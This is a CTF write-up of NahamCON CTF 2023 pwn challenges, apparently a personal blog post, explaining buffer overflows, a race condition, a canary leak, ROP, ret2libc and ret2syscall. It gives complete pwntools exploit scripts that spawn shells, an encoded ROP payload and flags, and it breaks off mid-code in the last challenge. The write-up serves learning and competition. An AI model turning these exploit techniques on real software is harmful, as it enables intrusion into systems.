# NahamCON CTF 2023 - PWN <center> <img src="https://hackmd.io/_uploads/rkRM9t2wn.png"> </center> Last week, I played in NahamCON CTF with [SKSD](https://ctftime.org/team/211952) and we got fourth place (yayyy). Luckily, I managed to solve all the PWN challenges. Although I struggled while working on the last challenge (web app firewall). Thanks to the organizer for organizing such an amazing event. ![](https://hackmd.io/_uploads/Bk9pAEpD2.png) Here's my write-up for all the pwn challenges: ## Open Sesame Challenge Description: ``` Author: @JohnHammond#6971 Something about forty thieves or something? I don't know, they must have had some secret incantation to get the gold! ``` We were given a source code and a binary, as can be seen below: <details open><summary>Source Code (open_sesame.c)</summary> ```c= #include <stdlib.h> #include <string.h> #include <stdio.h> #define SECRET_PASS "OpenSesame!!!" typedef enum {no, yes} Bool; void flushBuffers() { fflush(NULL); } void flag() { system("/bin/cat flag.txt"); flushBuffers(); } Bool isPasswordCorrect(char *input) { return (strncmp(input, SECRET_PASS, strlen(SECRET_PASS)) == 0) ? yes : no; } void caveOfGold() { Bool caveCanOpen = no; char inputPass[256]; puts("BEHOLD THE CAVE OF GOLD\n"); puts("What is the magic enchantment that opens the mouth of the cave?"); flushBuffers(); scanf("%s", inputPass); if (caveCanOpen == no) { puts("Sorry, the cave will not open right now!"); flushBuffers(); return; } if (isPasswordCorrect(inputPass) == yes) { puts("YOU HAVE PROVEN YOURSELF WORTHY HERE IS THE GOLD:"); flag(); } else { puts("ERROR, INCORRECT PASSWORD!"); flushBuffers(); } } int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); caveOfGold(); return 0; } ``` </details> In `caveOfGold()` function program will ask for the user to input a buffer that will be stored into the inputPass variable using `scanf("%s")` functions. The format of "%s" for scanf can lead to Buffer Overflow because it doesn't do boundaries check. There's also a function called `flag()` for printing a flag. But let's see the information for the binary given first: Binary Information: ![](https://hackmd.io/_uploads/HycgIlnw2.png) Even if there's no stack canary, there's still, mitigation such as a PIE that prevents us to do ROP to the `flag()` function, so let's try the other way (the intended way). Still, in the `caveOfGold()` function, there's a code that will call the `flag()` function if the `inputPass` variable equals the "OpenSesame!!!" strings. And before that, we need to overwrite the variable `caveCanOpen` to 1, to bypass the check if `caveCanOpen` equals 0. Let's find the offset to overwriting the variable `caveCanOpen`. Our input (the variable `inputPass`) stored at $rbp-0x110: ![](https://hackmd.io/_uploads/rJJTOg2Dn.png) And `caveCanOpen` stored at $rbp-0x4: ![](https://hackmd.io/_uploads/SkCGKenvn.png) The offset: ``` 0x110 - 0x4 = 268 or 272 - 4 = 268 ``` So, for overwriting the `caveCanOpen` variable, we need 268 bytes of padding then pass any value except 0 (I'm gonna use byte 1 or True). And since there is a check for user input being equal to the string "OpenSesame!!!", we need to add that string at the beginning of the payload. <details open><summary>Solver Script:</summary> ```python= #!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwn import * from os import path import sys # ==========================[ Information DIR = path.dirname(path.abspath(__file__)) EXECUTABLE = "/open_sesame" TARGET = DIR + EXECUTABLE HOST, PORT = "challenge.nahamcon.com", 32743 REMOTE, LOCAL = False, False # ==========================[ Tools elf = ELF(TARGET) elfROP = ROP(elf) # ==========================[ Configuration context.update( arch=["i386", "amd64", "aarch64"][1], endian="little", os="linux", log_level = ['debug', 'info', 'warn'][2], terminal = ['tmux', 'split-window', '-h'], ) # ==========================[ Exploit def exploit(io, libc=null): if LOCAL==True: #raw_input("Fire GDB!") if len(sys.argv) > 1 and sys.argv[1] == "d": choosen_gdb = [ "source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py", # 0 - pwndbg "source /home/mydata/tools/gdb/gdb-peda/peda.py", # 1 - peda "source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py" # 2 - gef ][0] cmd = choosen_gdb + """ """ gdb.attach(io, gdbscript=cmd) p = b"" p += b"OpenSesame!!!".ljust(268, b"\x00") p += p32(1) io.sendline(p) io.interactive() if __name__ == "__main__": io, libc = null, null if args.REMOTE: REMOTE = True io = remote(HOST, PORT) # libc = ELF("___") else: LOCAL = True io = process( [TARGET, ], env={ # "LD_PRELOAD":DIR+"/___", # "LD_LIBRARY_PATH":DIR+"/___", }, ) # libc = ELF("___") exploit(io, libc) ``` </details> ![](https://hackmd.io/_uploads/Sy5lQVpw2.png) **Flag:** flag{85605e34d3d2623866c57843a0d2c4da} ## nahmnahmnahm Challenge Description: ``` Me hungry for files! For your convenience, pwntools, nano and vim are installed on this instance. ``` Here's the binary Information: ![](https://hackmd.io/_uploads/ryGkhgnDh.png) <details open><summary>Decompiled Binary</summary> ```c= void __cdecl winning_function() { char contents[256]; // [rsp+0h] [rbp-110h] BYREF FILE *f; // [rsp+108h] [rbp-8h] puts("Welcome to the winning function!"); f = fopen("flag", "r"); fread(contents, 1uLL, 0x100uLL, f); puts(contents); fclose(f); } void __cdecl vuln(char *filename) { char buffer[80]; // [rsp+10h] [rbp-60h] BYREF FILE *f; // [rsp+68h] [rbp-8h] f = fopen(filename, "r"); if ( f ) { fread(buffer, 1uLL, 0x1000uLL, f); printf("%s", buffer); } else { perror("fopen"); } } int __cdecl main(int argc, const char **argv, const char **envp) { stat st; // [rsp+10h] [rbp-120h] BYREF char filename[128]; // [rsp+A0h] [rbp-90h] BYREF char *strstrret; // [rsp+120h] [rbp-10h] int retval; // [rsp+12Ch] [rbp-4h] setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); memset(filename, 0, sizeof(filename)); strstrret = 0LL; retval = 0; printf("Enter file: "); fgets(filename, 127, stdin); filename[strcspn(filename, "\n")] = 0; strstrret = strstr(filename, "flag"); if ( strstrret ) { perror("filename contains flag"); return -1; } else { retval = lstat(filename, &st); if ( retval == -1 ) { perror("stat"); } else if ( (st.st_mode & 0xF000) == 40960 ) { perror("is_symlink"); return -1; } else if ( st.st_size <= 80 ) { puts("Press enter to continue:"); getchar(); vuln(filename); } else { perror("File size"); return -1; } } return retval; } ``` </details> As you can see, there's a function called `winning_function()` and `vuln()`. But let's focus on the `main()` function first. In the `main()` function program will ask for the user to input a filename. The filename can't contain a "flag" string in it. Then, the program will do some checks, like if the file is a symbolic link file or not and there is a check to see if the content size of the file is approximately greater than 80 or not if is less than 80 bytes, it will pass the filename to the `vuln()` function as its argument. In the `vuln()` function, the program reads the content of the file in the variable filename using the `fopen()` function, with a maximum data reading size of 4096 bytes (0x1000 bytes). Then, it stores it in the variable buf, which can only hold data up to 80 bytes. This causes a buffer overflow vulnerability that can be exploited to call the `winning_function()` using ROP (Return-Oriented Programming). ::: info :question: But, there's a size check in the `main()` function? ::: That's the actual problem, the programs only perform a check in the `main()` function and it will be "paused" because the program wait for the user to insert any character using the `getc()` function. It will cause a new vulnerability called Race Condition. The plan is to create an empty file and input the name of the new file as input for the program, when the program is idle (because it waits for the user to input any character), we write our ROP payload (for calling the `winning_function()`) inside the file that has been created before. After that, input any character to the program, so the program will continue and call the `vuln()` function, and it will lead us to `winning_function()` because of the buffer overflow vulnerabilities. <details open><summary>Solver Script:</summary> ```python= #!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwn import * from os import path import sys # ==========================[ Information DIR = path.dirname(path.abspath(__file__)) EXECUTABLE = "/nahmnahmnahm" TARGET = DIR + EXECUTABLE HOST, PORT = "localhost", 1337 REMOTE, LOCAL = False, False # ==========================[ Tools elf = ELF(TARGET) elfROP = ROP(elf) # ==========================[ Configuration context.update( arch=["i386", "amd64", "aarch64"][1], endian="little", os="linux", log_level = ['debug', 'info', 'warn'][2], terminal = ['tmux', 'split-window', '-h'], ) # ==========================[ Exploit def exploit(io, libc=null): if LOCAL==True: #raw_input("Fire GDB!") if len(sys.argv) > 1 and sys.argv[1] == "d": choosen_gdb = [ "source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py", # 0 - pwndbg "source /home/mydata/tools/gdb/gdb-peda/peda.py", # 1 - peda "source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py" # 2 - gef ][0] cmd = choosen_gdb + """ b *vuln+50 b *main+0x1c2 """ gdb.attach(io, gdbscript=cmd) RIP_OFFSET = cyclic_find(0x61) p = b"\x00" f = open("./payload", "wb") f.write(p) # create empty / small size file f.close() io.sendlineafter(b": ", b"./payload") p = b"" p += b"\x00"*(0x70-0x8) p += p64(elf.search(asm("ret")).__next__()) p += p64(elf.symbols["winning_function"]) f = open("./payload", "wb") f.write(p) # write the payload inside the previous file (Race Condition) f.close() io.sendlineafter(b"Press enter to continue:", b"A") # send any bytes io.interactive() if __name__ == "__main__": io, libc = null, null if args.REMOTE: REMOTE = True io = remote(HOST, PORT) # libc = ELF("___") else: LOCAL = True io = process( [TARGET, ], env={ # "LD_PRELOAD":DIR+"/___", # "LD_LIBRARY_PATH":DIR+"/___", }, ) # libc = ELF("___") exploit(io, libc) ``` </details> Or you can do it by yourself, here's the encoded payload: ``` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaEEAAAAAAAJYS QAAAAAAA ``` Login to the server with the given SSH credentials, and create a new empty file, then input the namefile: ![](https://hackmd.io/_uploads/S1r4f0JOn.png) Create a new ssh session using another terminal tab, then decode the base64 encoded ROP payload above and write it into the file that has been created before: ![](https://hackmd.io/_uploads/ByeKfCJuh.png) Then press ENTER in the program, so the program will execute the ROP payload and call the `winning_function()` function. ![](https://hackmd.io/_uploads/H1bqfR1d2.png) **Flag:** flag{d41d8cd98f00b204e9800998ecf8427e} ## Weird Cookie Challenge Description: ``` Author: @M_alpha#3534 Something's a little off about this stack cookie... ``` We're given a binary and a libc file, here's some information about those files: ![](https://hackmd.io/_uploads/ByHS9z2Pn.png) \*Since my virtual machine has a different version of libc compared to the provided libc version, I patched the given binary first before debugging it. ```bash patchelf --replace-needed libc.so.6 libc-2.27.so weird_cookie patchelf --set-interpreter ld-2.27.so weird_cookie patchelf --set-rpath . weird_cookie ``` Let's take a look at the code below <details open><summary>Decompiled Binary</summary> ```c= void setup() { setbuf(stdin, 0LL); setbuf(_bss_start, 0LL); } int __cdecl main(int argc, const char **argv, const char **envp) { char s[40]; // [rsp+0h] [rbp-30h] BYREF unsigned __int64 v5; // [rsp+28h] [rbp-8h] setup(); v5 = (unsigned __int64)&printf ^ 0x123456789ABCDEF1LL; saved_canary = (unsigned __int64)&printf ^ 0x123456789ABCDEF1LL; memset(s, 0, sizeof(s)); puts("Do you think you can overflow me?"); read(0, s, 0x40uLL); puts(s); memset(s, 0, sizeof(s)); puts("Are you sure you overflowed it right? Try again."); read(0, s, 0x40uLL); if ( v5 != saved_canary ) { puts("Nope. :("); exit(0); } return 0; } ``` </details> Based on the decompiled code above. In the `main()` function, the program will XOR the address of libc `printf()` function with 0x123456789ABCDEF1, then store it inside the `v5` variable and global variable `saved_canary`. Next, the program will ask for input from the user that will be stored inside the `s` variable using the `read()` function with 0x40 bytes (64 bytes) as the maximum byte that the user can input (It will cause a Buffer Overflow vulnerabilities since the `s` variable only can contain 40 bytes). Then the `s` variable will be printed using the `puts()` function. Since the `read()` function doesn't do any string termination (like `gets()` which put a null byte at the end of the string or `scanf()` which put a null byte and a newline byte at the of the string), it will cause some data to get leaked. My idea is to leak the XOR-ed libc `printf()` address, from the `v5` variable, then perform ret2libc technique. But since the buffer overflow size is not large enough, we can only overwrite the saved RIP in stack memory with only a single address. I remember there is a tool that can help us spawn a shell, using just a single address, called [one_gadget](https://github.com/david942j/one_gadget). Here is the output of using one_gadget with the provided libc: ![](https://hackmd.io/_uploads/S17jdQ2vh.png) One_gadget requires its constraint to be fulfilled. For example, the `0x4f432` offset, require memory that pointed on $rsp+0x40 should be zero or NULL, so it will run properly. <details open><summary>Solver Script:</summary> ```python= #!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwn import * from os import path import sys # ==========================[ Information DIR = path.dirname(path.abspath(__file__)) EXECUTABLE = "/weird_cookie" TARGET = DIR + EXECUTABLE HOST, PORT = "challenge.nahamcon.com", 31746 REMOTE, LOCAL = False, False # ==========================[ Tools elf = ELF(TARGET) elfROP = ROP(elf) # ==========================[ Configuration context.update( arch=["i386", "amd64", "aarch64"][1], endian="little", os="linux", log_level = ['debug', 'info', 'warn'][2], terminal = ['tmux', 'split-window', '-h'], ) # ==========================[ Exploit def exploit(io, libc=null): if LOCAL==True: #raw_input("Fire GDB!") if len(sys.argv) > 1 and sys.argv[1] == "d": choosen_gdb = [ "source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py", # 0 - pwndbg "source /home/mydata/tools/gdb/gdb-peda/peda.py", # 1 - peda "source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py" # 2 - gef ][0] cmd = choosen_gdb + """ b *main+0x77 b *main+0xbb """ gdb.attach(io, gdbscript=cmd) RIP_OFFSET = cyclic_find(0x61) p = b"" p += b"A"*(0x28) io.sendafter(b"?\n", p) io.recvuntil(p) # "AAAAA....A" (0x28 consecutives bytes of "A") STACK_CANARY = u64(io.recv(8).ljust(8, b"\x00")) # receive the xored libc printf address then adjust it. libc.address = (STACK_CANARY ^ 0x123456789ABCDEF1) - libc.symbols["printf"] print("STACK_CANARY :", hex(STACK_CANARY)) print("libc.address :", hex(libc.address)) """ 0x4f3d5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f432 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a41c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL """ p = b"" p += b"\x00"*(0x28) p +=p64(STACK_CANARY) p +=p64(0xdeadbeef) p +=p64(libc.address + 0x4f432) # one gadget io.sendafter(b".\n", p) print("len", len(p)) io.interactive() if __name__ == "__main__": io, libc = null, null if args.REMOTE: REMOTE = True io = remote(HOST, PORT) libc = ELF("libc-2.27.so") else: LOCAL = True io = process( [TARGET, ], env={ # "LD_PRELOAD":DIR+"/___", # "LD_LIBRARY_PATH":DIR+"/___", }, ) libc = ELF("libc-2.27.so") exploit(io, libc) ``` </details> ![](https://hackmd.io/_uploads/By8Qsm2vn.png) **Flag:** flag{e87923d7cd36a8580d0cf78656d457c6} ## All Patched Up Challenge Description: ``` Author: @M_alpha#3534 Do you really know how to ret2libc? ``` We're given a binary and a libc. Here's some information about those files. ![](https://hackmd.io/_uploads/ryGTM43Pn.png) <details open><summary>Decompiled Binary</summary> ```c= void setup() { setbuf(_bss_start, 0LL); setbuf(stdin, 0LL); } int __cdecl main(int argc, const char **argv, const char **envp) { char buf[512]; // [rsp+0h] [rbp-200h] BYREF write(1, &unk_402004, 2uLL); read(0, buf, 0x400uLL); return 0; } ``` </details> The program is quite straightforward, it prints the string "> " (&unk_402004) using the write() function. Then receive the input from the user using the`read()` function up to 0x400 bytes (1024 bytes), which will cause Buffer Overflow vulnerability. Let’s check what ret gadget this binary has using ROPgadget (you also can you ropper). I didn’t see any useful function except this ret gadget: ```bash $> ROPgadget --bin ./all_patched_up ... ... 0x0000000000401254 : mov rdi, 1 ; ret ... ... ``` After doing some debugging ![](https://hackmd.io/_uploads/H1gLLNnD2.png) I realized the program doesn't change the `rsi` and `rdx` register after calling the `read()` function, so I will use this to do a leak using the `write()` function by combining the `mov rdi, 1` gadget. The program will leak a total of 1024 bytes (0x400 bytes is a value of the 'rdx' register) starting from the address pointed by the 'rsi' register. ![Breakpoint *main+68](https://hackmd.io/_uploads/SJgpHQrhvn.png) I found an interpreter address (ld file) at +0x02a0 (offset) from `rsi` register, but sadly it has a different address from the libc address (it's impossible to find the exact offset since it always change every runtime). So I decided to take a look, what gadgets can be used in the interpreter file. Here's some usefull gadget that I found: ```bash ROPgadget --bin ./ld-2.31.so 0x00000000000011b2 : pop rax ; pop rdx ; pop rbx ; ret 0x0000000000002518 : pop rdi ; ret 0x00000000000097c8 : pop rsi ; ret 0x000000000001d3fe : mov qword ptr [rdi], rdx ; ret 0x0000000000001cbe : syscall ``` Even though, there's no "/bin/sh" string inside the interpreter file, but we can write it using the `mov qword ptr [rdi], rdx` gadget that we found. The rest is quite straightforward, we need to perform ret2syscall for spawning shell by calling `sys_execve('/bin/sh', NULL, NULL)`. <details open><summary>Solver Script:</summary> ```python= #!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwn import * from os import path import sys # ==========================[ Information DIR = path.dirname(path.abspath(__file__)) EXECUTABLE = "/all_patched_up" TARGET = DIR + EXECUTABLE HOST, PORT = "challenge.nahamcon.com", 30354 REMOTE, LOCAL = False, False # ==========================[ Tools elf = ELF(TARGET) elfROP = ROP(elf) # ==========================[ Configuration context.update( arch=["i386", "amd64", "aarch64"][1], endian="little", os="linux", log_level = ['debug', 'info', 'warn'][2], terminal = ['tmux', 'split-window', '-h'], ) # ==========================[ Exploit def exploit(io, libc=null, ld=null): if LOCAL==True: #raw_input("Fire GDB!") if len(sys.argv) > 1 and sys.argv[1] == "d": choosen_gdb = [ "source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py", # 0 - pwndbg "source /home/mydata/tools/gdb/gdb-peda/peda.py", # 1 - peda "source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py" # 2 - gef ][2] cmd = choosen_gdb + """ b *main+0x44 """ gdb.attach(io, gdbscript=cmd) RIP_OFFSET = cyclic_find(0x66616166) MOV_RDI_1 = 0x0000000000401254 # : mov rdi, 1 ; ret p = b"" p += b"A"*(RIP_OFFSET) p += p64(MOV_RDI_1) p += p64(elf.symbols["write"]) p += p64(elf.symbols["main"]) io.sendafter(b"> ", p) sleep(0.1) print(io.recv(0x2a0)) # +0x02a0 from rsi LEAKED_LD = u64(io.recv(8)) ld.address = LEAKED_LD - 0x2f190 # ld.so base address print("LEAKED_LD :", hex(LEAKED_LD)) print("ld.address :", hex(ld.address)) pop_rax_rdx_rbx = ld.address + 0x00000000000011b2 # : pop rax ; pop rdx ; pop rbx ; ret pop_rdi = ld.address + 0x0000000000002518 # : pop rdi ; ret pop_rsi = ld.address + 0x00000000000097c8 # : pop rsi ; ret mov_qwordptr_rdi_rdx = ld.address + 0x000000000001d3fe # : mov qword ptr [rdi], rdx ; ret syscall = ld.address + 0x0000000000001cbe # : syscall p = b"" p += b"A"*(RIP_OFFSET) # === write "/bin/sh" into bss p += p64(pop_rdi) p += p64(elf.bss(0x200)) p += p64(pop_rax_rdx_rbx) p += p64(0) p += b"/bin/sh\x00" # make sure it's 8 byte p += p64(0) p += p64(mov_qwordptr_rdi_rdx) # === ret2syscall, spawning shell by calling sys_execve("/bin/sh", NULL, NULL) p += p64(pop_rdi) # We already point it to the bss before (so it's kinda useless) p += p64(elf.bss(0x200))# address where the "/bin/sh" string stored p += p64(pop_rsi) p += p64(0) # 2nd argument, NULL p += p64(pop_rax_rdx_rbx) p += p64(0x3b) # sys_execve p += p64(0) # 3rd argument, NULL p += p64(0xdeadbeef) # dummy (because we doesn't need to set the rbx) p += p64(syscall) # sys_execve("/bin/sh", NULL, NULL) io.send(p) io.interactive() if __name__ == "__main__": io, libc = null, null if args.REMOTE: REMOTE = True io = remote(HOST, PORT) # libc = ELF("libc-2.31.so") else: LOCAL = True io = process( [TARGET, ], env={ # "LD_PRELOAD":DIR+"/___", # "LD_LIBRARY_PATH":DIR+"/___", }, ) # libc = ELF("libc-2.31.so") # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") ld = ELF("ld-2.31.so") exploit(io, libc, ld) ``` </details> ![](https://hackmd.io/_uploads/HyS78S2Dh.png) **Flag:** flag{499c6288c77f297f4fd87db8e442e3f0} ## Oboe Challenge Description: ``` Author: @congon4tor#2334 Fun fact, my favorite instrument is the OBOe! Oh, and I made this cool C program to create URLs. Isn't it cool? Anyway, I'm going to go back to playing the oboe! ``` We're given a binary with the following information. ![](https://hackmd.io/_uploads/HJtrYr3Dh.png) <details open><summary>Decompiled Binary</summary> ```c= int __cdecl getInput(int a1) { int result; // eax char v2; // [esp+Bh] [ebp-Dh] int i; // [esp+Ch] [ebp-Ch] for ( i = 0; i <= 63; ++i ) { v2 = getchar(); if ( v2 == 10 || v2 == -1 ) break; *(_BYTE *)(a1 + i) = v2; } result = i + a1; *(_BYTE *)(i + a1) = 0; if ( i > 63 ) { do result = getchar(); while ( (_BYTE)result != 10 && (_BYTE)result != 0xFF ); } return result; } int build() { char v1[64]; // [esp+0h] [ebp-1C8h] BYREF char v2[64]; // [esp+40h] [ebp-188h] BYREF char v3[64]; // [esp+80h] [ebp-148h] BYREF char s[264]; // [esp+C0h] [ebp-108h] BYREF memset(s, 0, 0x100u); puts("Insert the protocol:"); getInput((int)v1); puts("Insert the domain:"); getInput((int)v2); puts("Insert the path:"); getInput((int)v3); strcat(s, v1); *(_DWORD *)&s[strlen(s)] = '//:'; strcat(s, v2); *(_WORD *)&s[strlen(s)] = '/'; strcat(s, v3); puts("Result:"); return puts(s); } int __cdecl main(int argc, const char **argv, const char **envp) { char v4; // [esp+1h] [ebp-9h] BYREF int *p_argc; // [esp+2h] [ebp-8h] p_argc = &argc; puts("Welcome to the URL builder"); v4 = 121; while ( v4 == 121 || v4 == 89 ) { build(); puts("Build another URL? [y/n]"); __isoc99_scanf("%c", &v4); getchar(); } puts("Thanks for using our tool!"); return 0; } ``` </details> Inside the `main()` function, this program will do a looping until a user inputs a character other than 'Y' or 'y'. Within the loop, the program will call the vuln() function. In the `vuln()` function, the program prompts the user to enter 3 data using the `getInput()` function. Due to the input length check in the `getInput()` function, the user can input a maximum of 64 bytes, which has the same size as the variables `v1`, `v2` and `v3`. Then, the program append those 3 variables into the `s` variable. In working on this challenge, I didn't want to spend too much time thinking, so I tried to fill in variables `v1` with "A" and `v2` with "B" As for variable `v3`, I filled it with a de Bruijn sequence using a cyclic pattern of 56 bytes. As the result, I managed to overwrite the `eip` register: ![](https://hackmd.io/_uploads/B1sKVUhD3.png) I believe it happened because when the program called for `strlen(v1)` but we already filled the `v1` and `v2` variables, and also stored some data inside the `v3` variable, that function will end giving the size of `v1 + v2 + v3 = 64 + 64 + 56 = 184` (because the `strlen()` function will terminate the size counting when it found null byte). My idea to exploit this challenge is to do buffer overflow and then perform the ret2libc technique. <details open><summary>Solver Script:</summary> ```python= #!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwn import * from os import path import sys # ==========================[ Information DIR = path.dirname(path.abspath(__file__)) EXECUTABLE = "/oboe" TARGET = DIR + EXECUTABLE HOST, PORT = "challenge.nahamcon.com", 30010 REMOTE, LOCAL = False, False # ==========================[ Tools elf = ELF(TARGET) elfROP = ROP(elf) # ==========================[ Configuration context.update( arch=["i386", "amd64", "aarch64"][1], endian="little", os="linux", log_level = ['debug', 'info', 'warn'][2], terminal = ['tmux', 'split-window', '-h'], ) # ==========================[ Exploit def exploit(io, libc=null): if LOCAL==True: #raw_input("Fire GDB!") if len(sys.argv) > 1 and sys.argv[1] == "d": choosen_gdb = [ "source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py", # 0 - pwndbg "source /home/mydata/tools/gdb/gdb-peda/peda.py", # 1 - peda "source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py" # 2 - gef ][0] cmd = choosen_gdb + """ b *build+0x4b b *build+0x6f b *build+0x93 b *build+0x166 """ gdb.attach(io, gdbscript=cmd) p = b"" p += b"A"*64 io.sendlineafter(b":\n", p) p = b"" p += b"B"*64 io.sendlineafter(b":\n", p) EIP_OFFSET = cyclic_find(0x66616161) # from the debugging earlier p = b"" p += b"C"*(EIP_OFFSET) p += p32(elf.symbols["puts"]) p += p32(elf.symbols["main"]) p += p32(elf.got["puts"]) p = p.ljust(56) io.sendlineafter(b":\n", p) io.recvuntil(b"\n") io.recvuntil(b"\n") LEAKED_LIBC = u32(io.recv(4)) libc.address = LEAKED_LIBC - libc.symbols["puts"] print("LEAKED_LIBC :", hex(LEAKED_LIBC)) print("libc.address :", hex(libc.address)) # === ret2libc, call system("/bin/sh") p = b"" p += b"A"*64 io.sendlineafter(b":\n", p) p = b"" p += b"B"*64 io.sendlineafter(b":\n", p) EIP_OFFSET = cyclic_find(0x66616161) p = b"" p += b"C"*(EIP_OFFSET) p += p32(libc.symbols["system"]) p += p32(0xdeadbeef) p += p32(libc.search(b"/bin/sh").__next__()) p = p.ljust(56) io.sendlineafter(b":\n", p) io.interactive() if __name__ == "__main__": io, libc = null, null if args.REMOTE: REMOTE = True io = remote(HOST, PORT) libc = ELF("libc6-i386_2.27-3ubuntu1.6_amd64.so") # libc = ELF("___") else: LOCAL = True io = process( [TARGET, ], env={ # "LD_PRELOAD":DIR+"/___", # "LD_LIBRARY_PATH":DIR+"/___", }, ) libc = ELF("/lib/i386-linux-gnu/libc.so.6") exploit(io, libc) ``` </details> ![](https://hackmd.io/_uploads/S108PIhvh.png) **Flag:** flag{a9e49be5177047784b9f7e3a5bf1d864} ## Limitations Description Challenge: ``` Author: @WittsEnd2#9274 I am trying to run a program, but I am super restricted ... ``` Here's some information about the binary given: ![](https://hackmd.io/_uploads/rJyPkd2D2.png) <details open><summary>Decompiled Binary</summary> ```c= void __cdecl Setup() { setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); } void __cdecl menu() { puts("1) Create Memory"); puts("2) Get Debug Informationn"); puts("3) Execute Code"); puts("4) Exit"); } void *__cdecl CreateMemory(size_t size, int permissions) { void *ret; // [rsp+18h] [rbp-8h] ret = mmap(0LL, (size + 4095) & 0xFFFFFFFFFFFFF000LL, permissions | 1u, 34, -1, 0LL); if ( ret == (void *)-1LL ) perror("mmap"); return ret; } void __cdecl ProtectProgram() { int ret; // [rsp+4h] [rbp-Ch] int reta; // [rsp+4h] [rbp-Ch] int retb; // [rsp+4h] [rbp-Ch] int retc; // [rsp+4h] [rbp-Ch] int retd; // [rsp+4h] [rbp-Ch] int rete; // [rsp+4h] [rbp-Ch] int retf; // [rsp+4h] [rbp-Ch] int retg; // [rsp+4h] [rbp-Ch] int reth; // [rsp+4h] [rbp-Ch] int reti; // [rsp+4h] [rbp-Ch] int retj; // [rsp+4h] [rbp-Ch] int retk; // [rsp+4h] [rbp-Ch] int retl; // [rsp+4h] [rbp-Ch] int retm; // [rsp+4h] [rbp-Ch] int retn; // [rsp+4h] [rbp-Ch] int reto; // [rsp+4h] [rbp-Ch] int retp; // [rsp+4h] [rbp-Ch] int retq; // [rsp+4h] [rbp-Ch] int retr; // [rsp+4h] [rbp-Ch] int rets; // [rsp+4h] [rbp-Ch] scmp_filter_ctx ctx; // [rsp+8h] [rbp-8h] ctx = (scmp_filter_ctx)seccomp_init(0LL); ret = seccomp_rule_add(ctx, 2147418112LL, 4LL, 0LL); reta = seccomp_rule_add(ctx, 2147418112LL, 5LL, 0LL) | ret; retb = seccomp_rule_add(ctx, 2147418112LL, 6LL, 0LL) | reta; retc = seccomp_rule_add(ctx, 2147418112LL, 8LL, 0LL) | retb; retd = seccomp_rule_add(ctx, 2147418112LL, 10LL, 0LL) | retc; rete = seccomp_rule_add(ctx, 2147418112LL, 12LL, 0LL) | retd; retf = seccomp_rule_add(ctx, 2147418112LL, 21LL, 0LL) | rete; retg = seccomp_rule_add(ctx, 2147418112LL, 24LL, 0LL) | retf; reth = seccomp_rule_add(ctx, 2147418112LL, 32LL, 0LL) | retg; reti = seccomp_rule_add(ctx, 2147418112LL, 33LL, 0LL) | reth; retj = seccomp_rule_add(ctx, 2147418112LL, 56LL, 0LL) | reti; retk = seccomp_rule_add(ctx, 2147418112LL, 57LL, 0LL) | retj; retl = seccomp_rule_add(ctx, 2147418112LL, 58LL, 0LL) | retk; retm = seccomp_rule_add(ctx, 2147418112LL, 60LL, 0LL) | retl; retn = seccomp_rule_add(ctx, 2147418112LL, 62LL, 0LL) | retm; reto = seccomp_rule_add(ctx, 2147418112LL, 101LL, 0LL) | retn; retp = seccomp_rule_add(ctx, 2147418112LL, 96LL, 0LL) | reto; retq = seccomp_rule_add(ctx, 2147418112LL, 102LL, 0LL) | retp; retr = seccomp_rule_add(ctx, 2147418112LL, 104LL, 0LL) | retq; rets = seccomp_rule_add(ctx, 2147418112LL, 231LL, 0LL) | retr; if ( (unsigned int)seccomp_load(ctx) | rets ) { perror("seccomp"); exit(1); } seccomp_release(ctx); } void __cdecl EnableDebugMode() { debug = 1; } void __cdecl DisableDebug() { debug = 0; } int __cdecl main(int argc, const char **argv, const char **envp) { int permissions; // [rsp+0h] [rbp-70h] BYREF int cmd; // [rsp+4h] [rbp-6Ch] BYREF int pid; // [rsp+8h] [rbp-68h] int cmp; // [rsp+Ch] [rbp-64h] size_t memory_size; // [rsp+10h] [rbp-60h] BYREF uint64_t location; // [rsp+18h] [rbp-58h] BYREF char *buffer; // [rsp+20h] [rbp-50h] void *memlocation; // [rsp+28h] [rbp-48h] void (*func_ptr)(...); // [rsp+30h] [rbp-40h] char *newMem; // [rsp+38h] [rbp-38h] char cmd_str[11]; // [rsp+44h] [rbp-2Ch] BYREF char memory_size_str[11]; // [rsp+4Fh] [rbp-21h] BYREF char test_buffer[14]; // [rsp+5Ah] [rbp-16h] BYREF unsigned __int64 v17; // [rsp+68h] [rbp-8h] v17 = __readfsqword(0x28u); buffer = 0LL; permissions = 0; memlocation = 0LL; cmd = 0; cmp = 0; memory_size = 0LL; location = 0LL; func_ptr = 0LL; Setup(); pid = fork(); if ( pid ) { while ( 1 ) { puts("Enter the command you want to do:"); menu(); memset(cmd_str, 0, sizeof(cmd_str)); cmd = 0; fgets(cmd_str, 11, stdin); __isoc99_sscanf(cmd_str, "%d", &cmd); if ( cmd == 4 ) break; if ( cmd <= 4 ) { switch ( cmd ) { case 3: puts("Where do you want to execute code?"); __isoc99_scanf("%lx", &location); ProtectProgram(); func_ptr = 